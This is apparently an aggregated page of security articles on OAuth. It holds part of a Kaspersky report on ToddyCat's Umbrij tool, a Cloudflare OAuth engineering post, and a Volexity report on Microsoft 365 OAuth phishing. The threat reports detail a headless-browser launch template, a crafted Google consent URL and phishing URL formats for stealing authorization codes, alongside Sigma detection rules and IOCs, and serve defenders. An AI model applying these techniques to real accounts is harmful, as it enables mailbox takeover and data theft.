| b | -domainAd | Specifies the domain name if the user account is a domain account |
| b | -savepdf | Instructs Umbrij to save a screenshot of the user profile as a PDF file |
| c | -lport | Same as debugport |
Environment preparation
At startup, the tool evaluates several prerequisites required to carry out the attack and performs preparatory actions to subsequently compromise the Gmail account.
First, Umbrij verifies the availability of the port that will be designated for browser debugging. To accomplish this, the tool utilizes a function named ChekPortAvailable() (original spelling retained), which accepts the target port number as a parameter. It then retrieves information about active connections on the host using the .NET GetActiveTcpConnections() function from the System.Net.NetworkInformation namespace. The tool iterates through each connection in a loop, comparing the port number to the one it is checking.
After this, the tool retrieves the user context. It searches the system for the explorer.exe process and duplicates its token, retaining all of its privileges (T1134.003 Access Token Manipulation: Make and Impersonate Token). This is the exact same mechanism used by another tool in the group’s arsenal, TomBerBil, which we covered previously.
By default, Umbrij duplicates the token of the first explorer.exe process it encounters. If multiple users are logged in to the system, the -user <username> switch can be used to specify the name of the target user whose token to duplicate. If the -runas-currentuser switch is specified, the tool will execute within the context of the current user without duplicating any tokens.
Next, Umbrij constructs the path to the browser application folder within the user’s local application data repository. To do this, it uses the Environment.SpecialFolder.LocalApplicationData command to retrieve the repository directory from the environment variable and appends the directory of the target browser. The tool then searches for the Local State file in the following folders:
- %LOCALAPPDATA%\Google\Chrome\User Data\Local State
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Local State
See below for an example of the Local State file structure.
Within this file, the tool searches for the info_cache array, which stores information about browser user profiles. Umbrij enumerates all user profiles and looks for those containing a user_name field that includes an email address. The presence of an email address indicates that the user is authenticated to a Google service. While the tool can interact with every profile it finds, if the -regex <string> parameter is passed through a command line, it searches for the specified substring within the email addresses being enumerated and proceeds exclusively with those matches.
Next, Umbrij creates the following directories for Google Chrome and Microsoft Edge, respectively:
- %LOCALAPPDATA%\Google\Chrome\BackupFiles\
- %LOCALAPPDATA%\Microsoft\Edge\BackupFiles\
The tool copies the following user files and folders of each target user profile into these directories:
- IndexedDB: a folder containing a relational database used for client-side storage of structured data
- Local Storage: a component of the browser’s web storage that provides a key-value mechanism for storing data on the client side
- Network: a folder where the browser stores files related to network requests and caching, such as the network cache and session files
- Login Data: a file that stores saved passwords for various websites and applications
- Login Data For Account: a file that stores credentials associated with a Google account or other synchronized accounts within the browser
- Preferences: a file containing profile-level browser settings
- Secure Preferences: a file that stores protected configurations, such as security and synchronization data
- Web Data: a file that stores auto-fill data
If these files are locked by other processes, the tool includes a dedicated function to force-copy them.
As the next step, the tool searches the “Program Files” and “Program Files (x86)” directories for the browser installation folder. Once it locates the executable file and successfully copies all required files, it is ready to proceed with acquiring the authorization code.
Acquiring the authorization code
In the next phase of execution, Umbrij launches Google Chrome, Microsoft Edge, or both browsers sequentially, depending on the parameters passed in the command line. It then passes arguments to the browser based on the following template:
"\"{1}\" --user-data-dir=\"{0}\" --remote-debugging-port={2} --profile-directory=\"Default\" --headless https://www.google.com/"It populates the template with the following values:
- {0}: the path to \BackupFiles\, where the user profile files were copied
- {1}: the path to the browser executable file
- {2}: the remote debugging port number
The table below describes the parameters used in this browser launch template:
| Parameter | Description |
| –user-data-dir | Specifies the path to the root directory that will store the shared browser data and user profiles |
| –remote-debugging-port | Opens a port for remote browser debugging over the DevTools protocol. This switch is commonly used for automated testing with frameworks like Selenium |
| –profile-directory | Specifies the name of the specific profile folder within the user-data-dir |
| –headless | Launches the browser in headless mode, that is, without a graphical user interface |
The browser process runs in headless mode while utilizing the copied user profile. Consequently, all active user cookies are applied, which means sites with saved credentials will skip authentication prompts. Furthermore, the browser will log history to a new folder, keeping it completely hidden from the user’s primary account view.
Through this method, the threat actors gain access to the user’s authenticated sessions — specifically their Google account — along with the ability to erase any trace of their activity within the browser.
Next, the tool uses the Puppeteer Sharp library, a .NET version of Puppeteer, to connect to the remote debugging port. Puppeteer provides a high-level API to control Chrome or Chromium browsers over the DevTools protocol. Its primary use is for automated testing.
If the connection to the remote debugging port is successful, Umbrij sends a GET request to direct the browser to the following URL:
https[:]//accounts[.]google[.]com/o/oauth2/v2/auth/identifier?response_type=code&client_id=279448736670.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcalendar%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcalendar.readonly%20https%3A%2F%2Fwww.google.com%2Fm8%2Ffeeds%2F%20https%3A%2F%2Fwww.google.com%2Fm8%2Ffeeds%2F%20https%3A%2F%2Fmail.google.com%2F%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fgmail.insert%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fgmail.labels%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fdrive%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fadmin.directory.user%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Ftasks%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fadmin.directory.group.readonly%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fapps.groups.migration%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile&flowName=GeneralOAuthFlow
The value specified in the client_id field belongs to Google Workspace Migration for Microsoft Outlook (GWMMO). This is Google’s official tool for importing email, calendar events, and contacts from Microsoft Exchange accounts or local PST files into a Google Workspace account.
Umbrij also includes the ability to switch the client_id value from 279448736670 to 1095133494869 by using the -sync parameter. This second identifier belongs to another application: Google Workspace Sync for Microsoft Outlook (GWSMO), which allows users to sync email, calendars, and other data from the cloud account directly into Microsoft Outlook.
The remaining parameters used in the request differ from those typically utilized by the legitimate applications. See the table below for a comparison of these parameters:
| GET request parameter | URL used by Umbrij | Original URL |
| flowName=GeneralOAuthFlow | Present | Absent |
| code_challenge (PKCE) | Absent | Present (method=S256) |
| state | Absent | Present |
| login_hint | Absent | Present |
| redirect_uri | http://localhost | http://localhost:61619/callback |
As seen from the list above, Umbrij omits several parameters characteristic of the legitimate applications. For instance, Umbrij drops the code_challenge parameter, normally used for data protection when retrieving an authorization code. Additionally, the tool modifies the redirection address: while the legitimate application specifies a dedicated port and a callback path, the tool simply points to localhost.
The authorization code request specifies the set of permissions for Google services required by the application. This list also differs significantly between requests issued by the legitimate application and those generated by Umbrij. The table below details the variations in the requested scopes:
| Service parameter | URL used by Umbrij | Original URL |
| https://www.google.com/m8/feeds/ | Present (specified twice) | Absent |
| https://www.googleapis.com/auth/contacts | Absent | Present |
| https://www.googleapis.com/auth/admin.directory.resource.calendar.readonly | Absent | Present |
| https://www.googleapis.com/auth/peopleapi.readonly | Absent | Present |
After the browser navigates to the URL provided by Umbrij, the Google account selection page opens.
Because the attackers copied the victim’s profile folder and are operating within their specific environment, the account selection options will include the currently signed-in user’s authenticated session. Umbrij identifies the corresponding element within the page’s HTML source code.
The tool uses JavaScript to emulate a mouse click on the elements, allowing it to proceed to the next step.
The subsequent step opens a page displaying the list of requested permissions.
As shown in the screenshot, Umbrij requests full access to email, cloud storage, and contacts. Just like in the previous step, it uses JavaScript to click the “Allow” button, which completes the authentication process.
The browser is then redirected to the local address that was specified in the redirect_uri parameter of the initial request. The tool intentionally omits a port and a path to a specific page in the redirect_uri because the true objective of this action is simply to capture the code parameter from the context of the GET request. This parameter contains the OAuth authorization code. To retrieve it, Umbrij extracts the substring located between the code= and &scope parameters.
Results
Umbrij, like most other tools in ToddyCat’s arsenal, logs its actions in detail and saves them to a file. It also saves the retrieved authorization code to this log file, which the operator subsequently exfiltrates from the compromised host.
Below is an example of a log file generated by version a of the tool.
------------------------------ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ [*] switch to sync mode. [!] port 11111 is available! [*] Impersonate <username> success! [*] browser switch to chrome . Parsing C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Local State ... [*] detected profile: Profile 4 ==> <email>@gmail.com [*] ready auth for <email>@gmail.com. [*] Browser Exe path C:\Program Files\Google\Chrome\Application\chrome.exe. [!] CreateProcessAsUserW... [*] Browser created with pid 3108 [???] <email>@gmail.com [pup] mail : <email>@gmail.com [pup] account choice click ! [pup] Allow click ! [<email>@gmail.com] 4%2F0AcvDMrDtzQaC-TT8<hash>uMhg [*] RevertToSelf succeed! ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
The log indicates that the sync mode is selected (meaning the Google Workspace Sync for Microsoft Outlook application is used) and the debugging port is set to 11111. After locating the user profile and copying its folder, Umbrij launches Google Chrome. After this, the tool emulates clicks on the appropriate buttons to confirm permissions, ultimately outputting the final result of the operation: the stolen OAuth authorization code.
Since all requests occur within a background browser instance, the tool includes a feature to generate a PDF snapshot of the web page where the permission confirmation process halted in the event of an error.
Additionally, the tool can create a PDF file for the user profile in Google Chrome and Microsoft Edge by navigating to the following internal addresses:
- edge://profile-internals
- chrome://profile-internals
Example contents of a generated PDF file
The acquired authorization code is then exchanged for an OAuth access token. The threat actors use that token to connect to the Gmail account through the API, thus compromising corporate email communications. The diagram below illustrates the complete attack workflow.
Detection
DLL sideloading
First and foremost, defenders should monitor library loading events (DLL loads) associated with the known applications vulnerable to DLL sideloading that are exploited by this tool: Bitdefender ConnectAgent, Visual Studio, and Google Desktop Search.
title: Possible Dll Hijacking Of Microsoft VisualStudio QualityTools dll
id: 246f1409-2993-46f6-9b77-e447a327df5d
status: experimental
description: Detects possible DLL hijacking of Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll by looking for suspicious image loads, loading this DLL from unexpected locations
author: kaspersky
date: 2025-08-11
tags:
- attack.defense-evasion
- attack.t1574.001
logsource:
product: windows
category: image_load
detection:
selection:
ImageLoaded|endswith: 'Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll'
filter:
ImageLoaded|contains: '\IDE\Extensions\TestPlatform\Extensions\'
condition: selection
falsepositives: Legitimate activity
level: high
Browser launch
Launching a browser with a remote debugging port specified is a highly unusual event on standard user hosts that are not running web application development or automated testing workflows. Consequently, monitoring for these specific command-line arguments can serve as a reliable indicator of this attack.
title: Launching Chrome With Debug Parameters
id: f072803f-3cf4-4537-82e6-e8b3a201d99f
status: stable
description: Detects the execution of Chromium based browsers launched with incognito mode and remote debugging enabled
author: kaspersky
date: 2025-12-11
tags:
- attack.lateral_movement
- attack.defense_evasion
- attack.t1550.001
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- '--remote-debugging-port'
- '--headless'
condition: selection
falsepositives: Opening a browser as part of web application testing. Legitimate activity
level: high
Revoking third-party access
To review the authorization codes granted to applications, navigate to the Google Account settings under the Third-party apps & services section, or access the following URL directly:
https://myaccount.google.com/connections
This page displays a comprehensive list of applications and services that currently have permission to access the account.
If the Google Workspace Migration for Microsoft Outlook or Google Workspace Sync for Microsoft Outlook applications appear in this list but are not actually used within your organization, revoke their access immediately. This will invalidate all potentially compromised OAuth tokens associated with them.
Risk mitigation
Launching a browser with a remote debugging port enabled is inherently suspicious for users who do not engage in web development. For these employees, you can completely disable Chromium-based browser developer tools.
This can be achieved by configuring the DeveloperToolsAvailability policy. To enforce this, set the registry value to 0x00000002 for the following Windows Registry key and restart the browser:
HKLM\Software\Policies\Google\Chrome\DeveloperToolsAvailability
To verify that the policy has been successfully applied, navigate to the browser’s internal policies page at chrome://policy:
Note that while disabling developer tools can successfully disrupt the automated retrieval of the OAuth authorization code, it will not help, however, if the adversary decides to leverage the browser’s graphical user interface (GUI) — though this manual approach is significantly less likely due to the friction it introduces for the attackers. Therefore, as a risk mitigation measure, users should be instructed to explicitly log out of their Google accounts as soon as their sessions are complete.
Takeaways
The ToddyCat APT group continues to search for ways of compromising corporate email communications. We have been tracking the group for a long time and we have observed continuous updates to its arsenal in an attempt to bypass security defenses, even as their core techniques remain consistent. For instance, the group has long relied on DLL sideloading to stealthily drop malicious utilities and scheduled tasks. However, their new tool, Umbrij, automates the attackers’ attempts to gain access to organizational email accounts. This automation not only helps increase the scale and frequency of their attacks but also demonstrates ToddyCat’s strong motivation and advanced technical skills.
To defend against these threats, corporate security teams must monitor for suspicious library loading events initiated by legitimate files, watch for instances of browsers launching in developer mode, and conduct regular audits of third-party applications and services with access permissions to Google accounts. Furthermore, deploying a robust, comprehensive security solution — such as Kaspersky Next — is critical to detect this type of malicious host-based activity in a timely manner.
Indicators of compromise
Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.
Malicious files
1AB58838E5790EFB22F2D35AB98C0B7D Umbrij ver. a
A7D7D6C4C3F227F7117261C63B9E23A9 Umbrij ver. a
3D3A621F852C42D97FD7260681E42508 Umbrij ver. a
3432DD9AC0DF80EF86EB80BD080F839B Umbrij ver. a
22AAEB4946BA6D2F2E27FEB7DBB295DE Umbrij ver. b
F61FBFB7AA1CD5DC8F70B055B51563E2 Umbrij ver. b
F169D6D172DFB775895A5E2B1540C854 Umbrij ver. c
Legitimate files leveraged for DLL sideloading
| MD5 | File name | Name of DLL being loaded |
| 9F5F2F0FB0A7F5AA9F16B9A7B6DAD89F | GoogleDesktop.exe | GoogleServices.DLL |
| 28CB7B261F4EB97E8A4B3B0D32F8DEF1 | BDSubWiz.exe | log.dll |
| BAE82A15D1DBFB024617B9B56A8E5F66 | VSTestVideoRecorder.exe | Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll |
Paths to DLL sideloading files
| Path to the file that loads the DLL | Path to the DLL being loaded |
| C:\Users\<user>\AppData\Local\Temp\BDS.exe | C:\Users\<user>\AppData\Local\Temp\log.dll |
| C:\Users\Public\BDS.exe | C:\Users\Public\log.dll |
| c:\users\public\bdsubwiz.exe | C:\Users\Public\log.dll |
| C:\Windows\Temp\BDS.exe | C:\Windows\Temp\log.dll |
| c:\windows\vss\bds.exe | C:\Windows\Vss\log.dll |
| c:\windows\temp\GoogleDesktop.exe | c:\windows\temp\GoogleServices.DLL |
| c:\windows\temp\VSTestVideoRecorder.exe | c:\windows\temp\Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll |




-
The Cloudflare Blog
-
Unlocking the Cloudflare app ecosystem with OAuth for all
Cloudflare provides services that help run 20% of the web, but we don’t do it alone. Developers on our platform use a myriad of tools and services from other companies too. Cloudflare provides a rich API for our platform that enables developers to create automations, CI/CD, and integrations that glue together the various parts of their infrastructure. Earlier this month, we announced self-managed OAuth, making it easier for customers to create and manage their own OAuth clients for delegated acc
Unlocking the Cloudflare app ecosystem with OAuth for all
Cloudflare provides services that help run 20% of the web, but we don’t do it alone. Developers on our platform use a myriad of tools and services from other companies too. Cloudflare provides a rich API for our platform that enables developers to create automations, CI/CD, and integrations that glue together the various parts of their infrastructure. Earlier this month, we announced self-managed OAuth, making it easier for customers to create and manage their own OAuth clients for delegated access to the Cloudflare API.
Cloudflare isn’t new to OAuth. If you’ve used Wrangler, or used integrations from partners like PlanetScale, then you’ve already used it. However, until now, third-party OAuth was only available through a small number of manually onboarded integrations, and was not available to developers more broadly. That meant developers building their own integrations had to rely on API tokens, which are harder to manage and a poor fit for many delegated application flows.
Over the last year, we onboarded a growing number of early partners while improving the consent, revocation, and security model behind Cloudflare OAuth. But as our Developer Platform grew and agentic tools drove demand for delegated access, it became clear that opening up OAuth to all customers was critical to the success of our platform.
With self-managed OAuth, developers can now offer a standard OAuth flow where customers grant scoped access directly, making it easier to build SaaS integrations, internal developer platforms, and agentic tools while giving users clearer consent, easier revocation, and more control over what an application can do.
Scaling the ecosystem securely
While our earlier OAuth solution was sufficient for a small number of carefully managed partners, we realized that our permissions model, our consent experience, and our ways of mitigating potential abuse vectors were not mature enough.
Earlier this year we updated our consent experience to make it clearer which application is requesting access, and what permissions it will receive. We also added revocation to the dashboard so developers can easily control which applications have access to their data, and made app ownership more visible to prevent OAuth phishing attacks.
Opening self-managed OAuth to all customers also required major upgrades to our underlying OAuth engine. This process required a large amount of planning to do with minimal user interruption, while also ensuring data stability and security.
Planning the upgrade to our OAuth engine
Years ago, we deployed Hydra, an open-source OAuth engine, to power Cloudflare OAuth under the hood. That deployment served us well when usage was limited, but as the developer platform grew and agentic workflows became more common, it became clear that we needed a major upgrade to unlock new capabilities and improve performance.
As we planned the upgrade, we decided to do two smaller sequential upgrades rather than doing one large upgrade. First, we would move to the latest 1.X release, evaluate any behavior or performance changes, and then proceed with the 2.X upgrade.
During our upgrade planning, it became clear that even the 1.X upgrade would still impact customers because the Hydra database required extensive schema migrations that:
- Created indexes in a manner that would claim an exclusive lock on critical tables, preventing active users from performing important OAuth operations
- Added columns to critical tables, and moved other columns to new tables
There was also a quirk in the version of Hydra we were using in which the SDK would perform SELECT * operations, causing deserialization issues with the schema changes.
To prevent user impact, we rewrote the SQL migrations to use features such as CREATE INDEX CONCURRENTLY, and built a custom version of Hydra which selected explicit columns rather than SELECT *.
With the latest 1.X upgrade planned out, we now needed to create a plan for the even larger 2.X upgrade. We identified three potential options, and weighed the benefits and drawbacks of each one. Doing an in-place upgrade was not going to work for us, due to the sheer amount of schema changes the major version bump brought with it. We decided that a blue-green strategy would work, but there was more that needed to be done than simply flipping a switch to start using the new version. The upgrade and migration process would take multiple hours, and we needed the system to continue functioning correctly in that time window.
The first blue-green option would involve disabling writes to the database, preventing any new authorizations from occurring. This means they would not be lost in the transition, but it also meant that nobody would be able to use existing OAuth apps unless they already had a valid credential. It also presented another large problem: if users needed to revoke access from an application for any reason, it would not be possible while the upgrade was being performed.
To combat these issues, we came up with a way to leave writes to the database enabled, at the cost of losing some of them in the switch to the green version. The first thing to solve was minimizing the number of writes for new tokens. There was an operational lever we pulled: increasing the expiry time of tokens to multiple hours. This would allow apps that received new tokens before the upgrade to continue using them without needing to refresh.
With reducing writes solved, we needed to come up with a way to not lose any revocations our users performed during the upgrade window. To do this, we created a queue system (using Cloudflare Queues!) which, after a revocation event, would have a record written into the queue with information about that revocation. This would allow us to drain the queue with the database flipped to the green version, replaying all revocation events that took place in the time window in which they would have been lost. This was critical to get right, otherwise applications that users had revoked would inadvertently have their access restored.
Executing the upgrade
Upgrading to 1.X
From an operational point of view, our first upgrade to the last 1.X release went off without any hitches. Our custom database migrations ran faster than we expected, with no user impact. We had to do a hard cutover to the new version because the old version was unable to introspect tokens that were created by the newer version.
After the cutover, we saw an increase in refresh token errors that we had not seen before. This ended up being due to stricter refresh invalidation behaviors in the new version; if a refresh token was reused, Hydra would invalidate the whole access and refresh token chain. This is problematic for Wrangler and MCP clients. These clients both have a high request volume, and a single reused refresh token would invalidate the entire session.
We mitigated this by adding refresh token coalescing behavior to our Worker which routes OAuth traffic to the correct destination. This allowed us to briefly cache the refresh token request before it reached Hydra, so that if we detected a retry we could short-circuit the request and respond without invalidating the tokens. Fortunately, 2.X versions of Hydra have a configurable “refresh token grace period”, which resolves this by allowing a refresh token to be retried for a period of time without invalidating the whole chain.
Upgrading to 2.X
Since multiple hours of high user-facing impact would not be acceptable, we had our blue-green upgrade strategy set. At a high level, this sounds simple; the migrations would run on a copy of our production database, and then cut over along with the new Hydra version after they complete. In reality, there were a lot more moving parts:
- Enable revocation replay capture queue
- Copy and restore our database to the new target
- Targeted data cleanup — existing data violated some new constraints introduced in the newer versions, which could prevent migrations from succeeding
- Perform cutovers on the Hydra service along with two additional critical internal systems simultaneously to prevent any errors
- Post-cutover monitoring and validation
We chose an upgrade window when Hydra had the lowest request volume per second to minimize lost token writes. Other than some timeout tuning, our production migrations ran well against the new database: the net runtime in production was approximately three hours. After the migrations completed, we carefully rolled out the new version of the Hydra service, along with two additional system configs to flip our systems to use the new SDK version.
Shortly after cutting traffic over, we observed that a data cleanup job in our authorization service (which relies on the Hydra consent session API) was being overeager in its purging of OAuth policy data. After investigation, we discovered that there was an issue in one of the Hydra migrations that corrupted the state of certain valid OAuth sessions, which resulted in the migration marking them as invalid. The valid sessions being corrupted caused a disagreement between Hydra and our authorization service, manifesting as an increase in 403s. To mitigate this, we did data restorations and began work on improvements for OAuth authorization behaviors to remove reliance on static policy data.
Beyond the data cleanup issue, there were some additional small fixes more driven by specific client behaviors which we landed quickly.
With the Hydra version upgrade complete, OAuth traffic has remained stable with improved system performance and reliability for our customers. It also brought production onto the same foundation our newer OAuth APIs had already been validated against in staging, clearing the way for our self-managed OAuth release on June 3.
Performance improvements
After completing a large upgrade like this, it is always rewarding and illuminating to look at some broad metrics about the impact. We gathered additional metrics during the database migrations, and observed considerable performance improvements after the upgrade was complete.
Database
Hydra performance
Self-managed OAuth for all
Opening up OAuth to all customers is an important step toward a broader Cloudflare app ecosystem. Today, any Cloudflare customer can create their own OAuth applications and build integrations on top of Cloudflare. We’re extremely excited to launch Cloudflare self-managed OAuth for all.
To get started, take a look at our documentation or jump straight to the OAuth apps page in the dashboard and create your first OAuth app.
-
Hackread – Latest Cybersecurity, Tech, Crypto & Hacking News
-
LastPass Confirms Customer Data Breach After Klue OAuth Token Theft
LastPass has confirmed it was affected by the Klue supply chain incident, saying an unauthorised actor used stolen…
LastPass Confirms Customer Data Breach After Klue OAuth Token Theft
-
Hackread – Latest Cybersecurity, Tech, Crypto & Hacking News
-
How to Get a Reddit API Key in 2026: Step-by-Step Guide
Getting a Reddit API key starts with creating an application through Reddit’s developer portal and understanding how its…
How to Get a Reddit API Key in 2026: Step-by-Step Guide
-
Security Boulevard

-
Is All OAuth The Same For MCP?
Is the "S" in MCP missing? Explore the current state of Model Context Protocol security, from stdio vs. HTTP transport risks to the complexities of CIMD and OAuth implementations across different AI clients. The post Is All OAuth The Same For MCP? appeared first on Security Boulevard.
Is All OAuth The Same For MCP?
Is the "S" in MCP missing? Explore the current state of Model Context Protocol security, from stdio vs. HTTP transport risks to the complexities of CIMD and OAuth implementations across different AI clients.
The post Is All OAuth The Same For MCP? appeared first on Security Boulevard.
-
Volexity

-
Phishing for Codes: Russian Threat Actors Target Microsoft 365 OAuth Workflows
KEY TAKEAWAYS Since early March 2025, Volexity has observed multiple Russian threat actors aggressively targeting individuals and organizations with ties to Ukraine and human rights. These recent attacks use a new technique aimed at abusing legitimate Microsoft OAuth 2.0 Authentication workflows. The attackers are impersonating officials from various European nations, and in one instance leveraged a compromised Ukrainian Government account. Both Signal and WhatsApp are used to contact targets
Phishing for Codes: Russian Threat Actors Target Microsoft 365 OAuth Workflows
KEY TAKEAWAYS
- Since early March 2025, Volexity has observed multiple Russian threat actors aggressively targeting individuals and organizations with ties to Ukraine and human rights.
- These recent attacks use a new technique aimed at abusing legitimate Microsoft OAuth 2.0 Authentication workflows.
- The attackers are impersonating officials from various European nations, and in one instance leveraged a compromised Ukrainian Government account.
- Both Signal and WhatsApp are used to contact targets, inviting them to join or register for private meetings with various national European political officials or for upcoming events.
- Some of the social engineering campaigns seek to fool victims into clicking links hosted on Microsoft 365 infrastructure
- The primary tactics observed involve the attacker requesting victim's supply Microsoft Authorization codes, which grant the attacker with account access to then join attacker-controlled devices to Entra ID (previously Azure AD), and to download emails and other account-related data.
Since early March 2025, Volexity has observed multiple suspected Russian threat actors conducting highly targeted social engineering operations aimed at gaining access to the Microsoft 365 (M365) accounts of targeted individuals. This activity comes on the heels of attacks Volexity reported on back in February 2025, where Russian threat actors were discovered targeting users and organizations through Device Code Authentication phishing.
Since that reporting, while there has been an observable drop in Russian threat actors leveraging that specific method, Volexity has observed them pivoting to different methods of attack that abuse other legitimate M365 OAuth authentication workflows. These recently observed attacks rely heavily on one-on-one interaction with a target, as the threat actor must both convince them to click a link and send back a Microsoft-generated code.
Volexity is currently tracking what is believed to be at least two Russian threat actors, which it tracks as UTA0352 and UTA0355, that are behind these attacks. It is plausible that there are overlaps between these threat actors and those Volexity previously reported as conducting Device Code Authentication phishing campaigns in January and February 2025. This blog post details the different techniques used by these threat actors and the commonalities between their campaigns, which can be summarized as follows:
- The attacker contacts the victim via a messaging application (Signal, WhatsApp) and invites them to join a video call to discuss the conflict in Ukraine.
- Once the victim has responded, the attacker sends an OAuth phishing URL that they claim is required to join the video call.
- The victim is asked to return the Microsoft-generated OAuth code back to the attacker.
- If the victim shares the OAuth code, the attacker is then able to generate an access token that ultimately allows access the victim’s M365 account.
Diplomatic Channels to Nowhere
In March 2025, Volexity learned that some of its customers' staff were receiving suspicious messages via Signal and WhatsApp. The targeted staff members worked at NGOs that support human rights and specifically have expertise and experience working on issues related to Ukraine. The messages claimed to be from European political officials and were themed around discussing matters involving Ukraine. In each observed instance, the call to action was to arrange a meeting between the target and a political official, or Ambassador, of the European country of which the sender claimed to represent.
If the target responded to messages, the conversation would quickly progress towards actually scheduling an agreed upon time for the meeting. However, perhaps in an attempt to not arouse suspicion, in some cases the "Ambassador" would not be immediately available, and the meeting would be scheduled for days later.
As the agreed meeting time approached, the purported European political official would make contact again and share instructions on how to join the meeting. These instructions typically came in the form of a document uploaded into the messaging platform. This "official" would then send a link for the target to click on in order to join the meeting. These shared URLs all pointed to the official login portal for M365 via login.microsoftonline.com.
It should come as no surprise that these were, in fact, phishing campaigns, and the supplied instructions involved sending a code back to the attacker. However, unlike the previously observed attacks, these URLs were not associated with Device Code Authentication workflows. Instead, these URLs pointed to other Microsoft OAuth 2.0 authentication workflows associated with various legitimate first-party Microsoft applications. Volexity attributes the initial series of attacks observed to a suspect Russian threat actor it tracks as UTA0352.
In these campaigns, clicking the link alone would not be enough for the account to be compromised. The code would need to be supplied back to the attacker. The supplied links would redirect to official Microsoft URLs and, in the process, generate a Microsoft Authorization Token that would then appear as part of the URI, and in some cases, within the body of the redirect page. This code could then be used to generate an Access Token, which would grant the holder with access to the account for which it was generated. In multiple observed instances, the attacker would request the code be emailed or sent back via WhatsApp or Signal.
Volexity observed UTA0352 impersonating individuals representing the following countries and affiliations:
- Mission of Ukraine to the European Union
- Permanent Delegation of the Republic of Bulgaria to NATO
- Permanent Representation of Romania to the European Union
Based on other observations, Volexity believes UTA0352 also likely impersonated officials from Poland as well, but Volexity did not observe this directly. The images below show examples of initial outreach messages sent by UTA0352 impersonating various identities on Signal (left) and WhatsApp (right).
![]()
Phishing via Visual Studio Code
In mid-March 2025, one of Volexity's customers was contacted by UTA0352 claiming to be a government official from Romania. They attempted to set up a meeting with their Ambassador. Once the user engaged, the attacker sent a message explaining the need to set up a meeting on their web-based “Extended Verification System (EVS)” hosted on their secure servers. This message was accompanied by a PDF file with instructions on what to expect and how to join, after which a maliciously crafted URL was sent to the target.
The image below shows the two-page PDF document purporting to be from the Romanian Ministry of Foreign Affairs.
![]()
The URL shared by UTA0352 had the following format:
https://login.microsoftonline[.]com/organizations/oauth2/v2.0/authorize?state=https://mae.gov[.]ro/[REMOVED]&client_id=aebc6443-996d-45c2-90f0-388ff96faa56&scope=https://graph.microsoft.com/.default&response_type=code&redirect_uri=https://insiders.vscode.dev/redirect&login_hint=<EMAIL HERE>
This URL format is used by M365 to log in to both Microsoft-native/first-party applications and third-party applications using M365’s OAuth workflows. The key parameters of the URL are described in the Microsoft OAuth documentation; for convenience, they are briefly described below:
| Parameter | Description |
state |
A value to denote the user’s state in the application before the request occurred |
client_id |
The application that made the request |
scope |
The access level requested |
response_type |
The method used to send the token back |
redirect_uri |
The handling URI to receive the generated token afterwards |
If the user is already logged in with the account specified in the login_hint parameter, they will be seamlessly redirected. If the user is not already authenticated, they will be prompted to log in to their M365 account. Once authenticated, the user is redirected to an in-browser version of Visual Studio Code, hosted at insiders.vscode.dev. The URL redirects the user to the /redirect page, which is designed to receive login parameters from M365, including OAuth. When the user is redirected to this page, they are presented with the following dialog:
![]()
The code displayed via the Visual Studio Code dialog is an OAuth 2.0 authorization code that can be used for up to 60 days. This code can be submitted to Microsoft’s OAuth workflow for an access token, which can then be used to access the M365 Graph API. Since the original request asked for the user’s default access rights, anyone with access to this authorization code also has access to all resources normally available to the user. It should be noted that this code also appeared as part of the URI in the address bar. The Visual Studio Code appears to have been set up to make it easier to extract and share this code, whereas most other instances would simply lead to blank pages.
The message shown under the main header uses the state value from the prior request, which is commonly used to indicate where the request to authenticate came from. However, as described in Microsoft's documentation, this value is arbitrary. It is up to the handling application (in this case, Visual Studio Code) to decide if and how to use this value. UTA0352 abused this to make it look like an authentication attempt to a Romanian government service. This is a theme repeated in other phishing attacks as an effort to make the links appear legitimate.
The diagram below shows the overall workflow followed by the attacker to target users leveraging the Visual Studio Code first-party application. The workflow varies slightly from other attacks observed later but is fairly similar overall.
![]()
Earlier Variations of Visual Studio Code Phishing
In addition to the phishing attack described above, Volexity also identified an older variation of a phishing campaign believed to have been employed by UTA0352. In this earlier campaign, the following URL format was used:
hxxps://login.microsoftonline[.]com/common/oauth2/authorize?redirect=https://zoom.us/j/<snip>&client_id=aebc6443-996d-45c2-90f0-388ff96faa56&resource=https://graph.microsoft.com&response_type=code&redirect_uri=https://vscode-redirect.azurewebsites.net&login_hint=<removed>&ui_locales=en-US&mkt=en-US&client-request-id=<removed>
The URL differs from the one previously described, in that it employs the format used by the AzureAD v1.0 specification, not v2.0 used in the initially observed campaign. The key differences between the URL parameters used are noted below:
| Parameter | Initially Observed Campaign | Earlier Campaign Variation |
redirect_uri |
Usesinsiders.vscode.dev |
Uses vscode-redirect.azurewebsites.net. |
resource |
This is the scope parameter in the Oath 2.0 flow | This is the AzureAD v1.0 field used to define the resource for which access is required |
redirect |
Unused in the previously documented campaign | This parameter is included in the request to make it look like the user may be logging into a Zoom call, but it is unused in AzureAD v1.0 authentication workflows |
The workflow the older campaign variation initiates is similar to the initially observed campaign. If a user is logged in, they are redirected to vscode-redirect.azurewebsites.net, which in turn redirects to a local IP address (127.0.0.1). When this happens, instead of yielding a user interface with the Authorization Code, the code is only available in the URL. The final URL is in the following format:
hxxp://127.0.0.1:9217/callback?code=1.ARsAIGLD9ki0FE63WmhS-KbgFENkvK5tmX[snipped]D&session_state=[uuid]
